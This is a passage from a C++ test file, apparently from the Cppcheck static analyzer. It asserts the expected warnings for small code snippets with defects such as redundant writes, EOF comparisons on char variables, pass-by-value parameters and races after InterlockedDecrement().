check(\"void f() {\\n\"\n \" char a[10];\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar();\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:5]: (performance) Buffer 'a' is being written before its old content has been used.\\n\", \"\", errout_str());\n\n check(\"void bar(void* a) {}\\n\"\n \"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" bar(a);\\n\" // Passed as argument\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // Branch tests\n check(\"void f(void* a) {\\n\"\n \" memset(a, 0, size);\\n\"\n \" if(x)\\n\"\n \" memset(a, 0, size);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4455 - initialization of local buffer\n check(\"void f(void) {\"\n \" char buf[10];\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(void) {\\n\"\n \" char buf[10] = {0};\\n\"\n \" memset(buf, 0, 10);\\n\"\n \" strcpy(buf, string);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3] -> [test.cpp:4]: (performance) Buffer 'buf' is being written before its old content has been used.\\n\", errout_str());\n\n // #5689 - use return value of strcpy\n check(\"int f(void* a) {\\n\"\n \" int i = atoi(strcpy(a, foo));\\n\"\n \" strncpy(a, 0, bar);\\n\"\n \" return i;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // #7175 - read+write\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\" // <- read + write\n \" strcpy(buf, x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" char buf[100];\\n\"\n \" strcpy(buf, x);\\n\"\n \" strcpy(buf, dostuff(buf));\\n\"\n \" strcpy(buf, x);\\n\"\n \"}\");\n TODO_ASSERT_EQUALS(\"error\", \"\", errout_str());\n }\n\n void redundantAssignmentSameValue() {\n check(\"int main() {\\n\" // #11642\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:5]: (style) Variable 'a' is assigned an expression that holds the same value. [redundantAssignment]\\n\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b + 1;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int main() {\\n\"\n \" int a = 0;\\n\"\n \" int b = a;\\n\"\n \" int c = 1;\\n\"\n \" a = b = 5;\\n\"\n \" return a * b * c;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:11] -> [test.cpp:5:11]: (style) Redundant initialization for 'b'. The initialized value is overwritten before it is read. [redundantInitialization]\\n\", errout_str());\n\n check(\"int f(int i) {\\n\" // #12874\n \" int j = i + 1;\\n\"\n \" if (i > 5)\\n\"\n \" j = i;\\n\"\n \" return j;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct S {\\n\" // #12894\n \" std::string a;\\n\"\n \" void f(const S& s);\\n\"\n \" void g(const S& s);\\n\"\n \"};\\n\"\n \"void S::f(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" this->operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\"\n \"void S::g(const S& s) {\\n\"\n \" std::string x = a;\\n\"\n \" operator=(s);\\n\"\n \" a = x;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void varFuncNullUB() { // #4482\n check(\"void a(...);\\n\"\n \"void b() { a(NULL); }\");\n ASSERT_EQUALS(\"[test.cpp:2:13]: (portability) Passing NULL after the last typed argument to a variadic function leads to undefined behaviour. [varFuncNullUB]\\n\", errout_str());\n\n check(\"void a(char *p, ...);\\n\"\n \"void b() { a(NULL, 2); }\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCastIntToCharAndBack() { // #160\n\n // check getchar\n check(\"void f() {\\n\"\n \"unsigned char c; c = getchar();\\n\"\n \" while( c != EOF)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \"unsigned char c = getchar();\\n\"\n \" while( EOF != c)\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c; c = getchar();\\n\"\n \" while( EOF != c )\\n\"\n \" {\\n\"\n \" bar(c);\\n\"\n \" c = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:17]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" unsigned char c;\\n\"\n \" while( EOF != ( c = getchar() ) )\\n\"\n \" {\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:19]: (warning) Storing getchar() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( i != EOF)\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f() {\\n\"\n \" int i; i = getchar();\\n\"\n \" while( EOF != i )\\n\"\n \" {\\n\"\n \" bar(i);\\n\"\n \" i = getchar();\\n\"\n \" } ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check getc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = getc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing getc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = getc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n\n // check fgetc\n check(\"void f (FILE * pFile){\\n\"\n \"unsigned char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (c != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:10]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:5:17]: (warning) Storing fgetc() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"signed char c;\\n\"\n \"do {\\n\"\n \" c = fgetc (pFile);\\n\"\n \"} while (EOF != c);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (i != EOF);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f (FILE * pFile){\\n\"\n \"int i;\\n\"\n \"do {\\n\"\n \" i = fgetc (pFile);\\n\"\n \"} while (EOF != i);\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // cin.get()\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (EOF != ch) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:18]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" char ch; ch = std::cin.get();\\n\"\n \" while (ch != EOF) {\\n\"\n \" std::cout << ch;\\n\"\n \" ch = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:3:11]: (warning) Storing cin.get() return value in char variable and then comparing with EOF. [checkCastIntToCharAndBack]\\n\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( EOF != i ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"void f(){\\n\"\n \" int i; i = std::cin.get();\\n\"\n \" while ( i != EOF ) {\\n\"\n \" std::cout << i;\\n\"\n \" i = std::cin.get();\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkCommaSeparatedReturn() {\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a++, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5,\\n\"\n \" do_something();\\n\"\n \"}\", true, false, false);\n TODO_ASSERT_EQUALS(\"[test.cpp:3]: (style) Comma is used in return statement. The comma can easily be misread as a ';'.\\n\", \"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return a+5, do_something();\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int fun(int a) {\\n\"\n \" if (a < 0)\\n\"\n \" return c::b;\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n\n // #4943 take care of C++11 initializer lists\n check(\"std::vector Bar() {\\n\"\n \" return\\n\"\n \" {\\n\"\n \" { \\\"1\\\" },\\n\"\n \" { \\\"2\\\" },\\n\"\n \" { \\\"3\\\" }\\n\"\n \" };\\n\"\n \"}\", true, false, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkPassByReference() {\n // #8570 passByValue when std::move is used\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a(std::move(a)) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" explicit B(A a) : a{std::move(a)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{std::move(a2)} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2{a2} {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"struct A\\n\"\n \"{\\n\"\n \" std::vector x;\\n\"\n \"};\\n\"\n \"\\n\"\n \"struct B\\n\"\n \"{\\n\"\n \" B(A a, A a2) : a{std::move(a)}, a2(a2) {}\\n\"\n \" void Init(A _a) { a = std::move(_a); }\\n\"\n \" A a;\"\n \" A a2;\"\n \"};\", true, false, true);\n ASSERT_EQUALS(\"[test.cpp:8:14]: (performance) Function parameter 'a2' should be passed by const reference. [passedByValue]\\n\", errout_str());\n\n check(\"std::map m;\\n\" // #10817\n \"void f(const decltype(m)::const_iterator i) {}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n check(\"int (*pf) (std::vector) = nullptr;\\n\" // #12118\n \"int f(std::vector v) {\\n\"\n \" return v.size();\\n\"\n \"}\\n\"\n \"void g() {\\n\"\n \" pf = f;\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:6:10] -> [test.cpp:2:24]: (performance) Function parameter 'v' should be passed by const reference. However it seems that 'f' is a callback function. [passedByValueCallback]\\n\",\n errout_str());\n\n check(\"template struct A;\\n\" // #12621\n \"template\\n\"\n \"struct B { A a; };\\n\"\n \"template\\n\"\n \"struct A { B b; };\\n\"\n \"template\\n\"\n \"struct C : public virtual A, public virtual B {\\n\"\n \" A x;\\n\"\n \" B y;\\n\"\n \" C(A x_, B y_) : x(x_), y(y_) {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n\n check(\"template \\n\" // #13537\n \" struct S {\\n\"\n \" T a[N];\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n Settings settingsUnix32 = settingsBuilder().platform(Platform::Type::Unix32).build();\n check(\"struct S {\\n\" // #13850\n \" int i0 : 32;\\n\"\n \" int i1 : 16;\\n\"\n \" unsigned short u16;\\n\"\n \"};\\n\"\n \"void f(S s) {}\\n\", true, true, true, false, &settingsUnix32);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void checkComparisonFunctionIsAlwaysTrueOrFalse() {\n // positive test\n check(\"bool f(int x){\\n\"\n \" return isless(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isless(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessgreater(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessgreater(x,x) always evaluates to false. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return islessequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with islessequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n check(\"bool f(int x){\\n\"\n \" return isgreaterequal(x,x);\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:2:11]: (warning) Comparison of two identical variables with isgreaterequal(x,x) always evaluates to true. [comparisonFunctionIsAlwaysTrueOrFalse]\\n\", errout_str());\n\n // no warning should be reported for\n check(\"bool f(int x, int y){\\n\"\n \" return isgreaterequal(x,y) && islessequal(x,y) && islessgreater(x,y) && isgreater(x,y) && isless(x,y);\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void integerOverflow() { // 5895\n // no signed integer overflow should happen\n check(\"void f(unsigned long long ull) {\\n\"\n \" if (ull == 0x89504e470d0a1a0a || ull == 0x8a4d4e470d0a1a0a) ;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void redundantPointerOp() {\n check(\"int *f(int *x) {\\n\"\n \" return &*x;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'x' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int *f(int *y) {\\n\"\n \" return &(*y);\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:12]: (style) Redundant pointer operation on 'y' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n check(\"int f() {\\n\" // #10991\n \" int value = 4;\\n\"\n \" int result1 = *(&value);\\n\"\n \" int result2 = *&value;\\n\"\n \" return result1 + result2;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:3:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\"\n \"[test.cpp:4:19]: (style) Redundant pointer operation on 'value' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int& a, int b) {\\n\"\n \" *(&a) = b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:5]: (style) Redundant pointer operation on 'a' - it's already a variable. [redundantPointerOp]\\n\",\n errout_str());\n\n check(\"void f(int**& p) {}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define\tRESTORE(ORIG, COPY) { *ORIG = *COPY; }\\n\"\n \"void f(int* p, int i) {\\n\"\n \" RESTORE(p, &i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n // no warning for bitwise AND\n check(\"void f(const int *b) {\\n\"\n \" int x = 0x20 & *b;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // No message for double pointers to structs\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // another double pointer to struct - with an array\n check(\"void f(struct foo **my_struct) {\\n\"\n \" char **pass_to_func = &(*my_struct)->buf[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"\", errout_str());\n\n // double pointer to array\n check(\"void f(char **ptr) {\\n\"\n \" int *x = &(*ptr)[10];\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style) Variable 'x' can be declared as pointer to const [constVariablePointer]\\n\", errout_str());\n\n // function calls\n check(\"void f(Mutex *mut) {\\n\"\n \" pthread_mutex_lock(&*mut);\\n\"\n \"}\\n\", true, false);\n ASSERT_EQUALS(\"[test.cpp:2:24]: (style) Redundant pointer operation on 'mut' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // make sure we got the AST match for \"(\" right\n check(\"void f(char *ptr) {\\n\"\n \" if (&*ptr == NULL)\\n\"\n \" return;\\n\"\n \"}\\n\", true, true);\n ASSERT_EQUALS(\"[test.cpp:2:9]: (style) Redundant pointer operation on 'ptr' - it's already a pointer. [redundantPointerOp]\\n\", errout_str());\n\n // no warning for macros\n checkP(\"#define MUTEX_LOCK(m) pthread_mutex_lock(&(m))\\n\"\n \"void f(struct mutex *mut) {\\n\"\n \" MUTEX_LOCK(*mut);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkP(\"#define B(op) bar(op)\\n\"\n \"#define C(orf) B(&orf)\\n\"\n \"void foo(const int * pkey) {\\n\"\n \" C(*pkey);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void test_isSameExpression() { // see #5738\n check(\"bool isInUnoIncludeFile(StringRef name) {\"\n \" return name.startswith(SRCDIR \\\"/com/\\\") || name.startswith(SRCDIR \\\"/uno/\\\");\\n\"\n \"};\", true, false);\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void raceAfterInterlockedDecrement() {\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" whatever();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (!counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 < counter)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 == counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 != counter)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (counter <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" InterlockedDecrement(&counter);\\n\"\n \" if (0 >= counter)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:4:9]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (!newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount > 0)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 < newCount)\\n\"\n \" return;\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount == 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 == newCount)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 != newCount)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount != 0)\\n\"\n \" return;\\n\"\n \" destroy()\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (newCount <= 0)\\n\"\n \" destroy();\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"void f() {\\n\"\n \" int counter = 0;\\n\"\n \" int newCount = InterlockedDecrement(&counter);\\n\"\n \" if (0 >= newCount)\\n\"\n \" destroy;\\n\"\n \"}\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (::InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" } else {\\n\"\n \" return counter;\\n\"\n \" }\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:16]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n\n checkInterlockedDecrement(\"int f() {\\n\"\n \" int counter = 0;\\n\"\n \" if (InterlockedDecrement(&counter) == 0) {\\n\"\n \" destroy();\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \" return counter;\\n\"\n \"}\");\n ASSERT_EQUALS(\"[test.cpp:7:12]: (error) Race condition: non-interlocked access after InterlockedDecrement(). Use InterlockedDecrement() return value instead. [raceAfterInterlockedDecrement]\\n\", errout_str());\n\n checkInterlockedDecrement(\"int 